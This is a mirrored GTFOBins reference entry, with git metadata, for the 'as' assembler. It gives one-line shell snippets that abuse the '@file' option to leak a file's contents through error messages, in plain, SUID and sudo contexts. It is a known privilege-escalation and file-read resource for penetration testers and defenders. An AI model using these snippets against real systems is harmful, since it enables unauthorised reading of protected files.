mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
f03907836c
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
17 lines
394 B
Markdown
17 lines
394 B
Markdown
---
|
|
description: The file content is treated as command line options and disclosed throught error messages, so this is not suitable to read arbitrary binary data.
|
|
functions:
|
|
file-read:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
as @$LFILE
|
|
suid:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
./as @$LFILE
|
|
sudo:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
sudo as @$LFILE
|
|
---
|